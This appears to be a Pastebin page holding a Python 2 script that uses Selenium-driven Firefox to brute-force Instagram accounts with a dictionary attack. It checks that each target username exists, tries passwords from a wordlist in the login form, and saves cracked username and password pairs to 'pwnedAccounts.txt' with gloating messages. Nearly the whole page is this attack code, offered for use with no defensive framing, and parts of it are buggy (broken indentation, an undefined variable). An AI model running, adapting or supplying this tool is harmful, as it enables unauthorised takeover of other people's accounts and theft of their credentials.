Guest User

lezzo

a guest
Dec 6th, 2017
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.39 KB | None | 0 0
  1. #!/bin/python
  2. from mainLib import *
  3. from time import sleep
  4. from selenium import webdriver
  5. from selenium.webdriver.common.keys import Keys
  6. import simplejson as json
  7. import sys
  8. import optparse
  9.  
  10. profile = webdriver.FirefoxProfile()
  11. profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36")
  12. driver = "reserved"
  13.  
  14. def userExists(username):
  15.     try:
  16.         driver.get("https://instagram.com/"+username)
  17.         assert (("Page Not Found" or "no encontrada") not in driver.title)
  18.     except AssertionError:
  19.         print 'user: "%s" does not exist, trying with the next!' %username
  20.         return 1
  21.     except:
  22.         'uknown error'
  23.        
  24. def login(user, password, delay):
  25.     try:
  26.         print 'Trying with password: ' + password
  27.         elem = driver.find_element_by_name("username")
  28.         elem.clear()
  29.         elem.send_keys(user)
  30.         elem = driver.find_element_by_name("password")
  31.         elem.clear()
  32.         elem.send_keys(password)  
  33.         elem.send_keys(Keys.RETURN)
  34.         sleep(delay)
  35.         assert (("Login") in driver.title)
  36.         #assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source)
  37.         #if driver.current_url == 'https://www.instagram.com/':
  38.         #   print 'Password correct!'
  39.         #   print '%s' %password
  40.         #else:
  41.         #   print 'Wrong password'
  42.     except AssertionError:
  43.         print 'Access granted mother kaker!!'
  44.         print 'The password is: ' + password
  45.         try:
  46.             f = open('pwnedAccounts.txt','a')
  47.         except:
  48.             f = open('pwnedAccounts.txt','w')
  49.         f.write('username:'+user+'\npassword:'+password+'\n')
  50.         f.close()
  51.         driver.delete_all_cookies()
  52.         return 1
  53.     except:
  54.         print "\r Check your connection to the internet mother kaker\r"
  55.  
  56. def dictionaryAttack(usernames,passwords,delay):
  57.     if str(type(usernames)) == "<type 'list'>":
  58.         for username in usernames:
  59.             if (userExists(username) == 1):
  60.                 continue
  61.             driver.get("https://instagram.com/accounts/login/")
  62.             sleep(delay * 7)
  63.             print 'Trying with username: ' + username
  64.             for password in passwords:
  65.                 if (login(username,password,delay) == 1):
  66.                     cj.clear()
  67.                     break
  68.     else:
  69.         if (userExists(usernames) == 1):
  70.             return
  71.         driver.get("https://instagram.com/accounts/login/")
  72.         sleep(delay * 7)
  73.         print 'Trying with username: ' + usernames
  74.         for password in passwords:
  75.             if (login(usernames,password,delay) == 1):
  76.                 break
  77. def main():
  78.     parser = optparse.OptionParser()
  79.     parser.add_option('-f', '--file', action="store", dest="userfile", help="File containing valid usernames (one per line)", default=False)
  80.     parser.add_option('-d', '--dictionary', action="store", dest="dictionary", help="File containing passwords", default=False)
  81.     parser.add_option('-u', '--username', action="store", dest="username", help="A valid username", default=False)
  82.     parser.add_option('-t', '--time', action="store", dest="delay", help="delay in seconds. Use this option based on your connection speed", default=True)
  83.     options, args = parser.parse_args()
  84.  
  85.     global driver
  86.  
  87.     if (options.delay is None):
  88.         delay = 2
  89.     else:
  90.         delay = int(options.delay)
  91.     print 'Using %d seconds of delay' %delay
  92.  
  93.     if ( (options.userfile == False) and (options.username == False) ) :
  94.         print 'You have to set an username or a userfile'
  95.         exit()
  96.     if ( (options.userfile != False) and (options.username != False) ) :
  97.         print 'You can\'t set both options at once.. choose between username or userfile'
  98.         exit()
  99.     if (options.dictionary == False):
  100.         print 'You have to set a valid path for the passwords dictionary'
  101.         exit()
  102.  
  103.     try:
  104.         f = open(options.dictionary,'r')
  105.         passwords = []
  106.        
  107.         while True:
  108.             line = f.readline()
  109.             if not line:
  110.                 break
  111.             passwords.append(line.strip('\n'))
  112.         f.close()
  113.     except:
  114.         print 'Check the path to the dictionary and try again'
  115.         exit()
  116.    
  117.     if (options.userfile != False):
  118.         try:
  119.             f = open(options.userfile,'r')
  120.             usernames = []
  121.            
  122.             while True:
  123.                 line = f.readline()
  124.                 if not line:
  125.                     break
  126.                 usernames.append(line.strip('\n'))
  127.             f.close()
  128.         except:
  129.             print 'Check the path to the users file and try again'
  130.             exit()
  131.            
  132.             driver = webdriver.Firefox(profile)
  133.             driver.implicitly_wait(30)
  134.         dictionaryAttack(usernames,passwords,delay)
  135.     else:
  136.             driver = webdriver.Firefox(profile)
  137.             driver.implicitly_wait(30)
  138.         dictionaryAttack(options.username,passwords,delay)
  139.    
  140.     driver.close()
  141. if __name__ == '__main__':
  142.     main()
Add Comment
Please, Sign In to add comment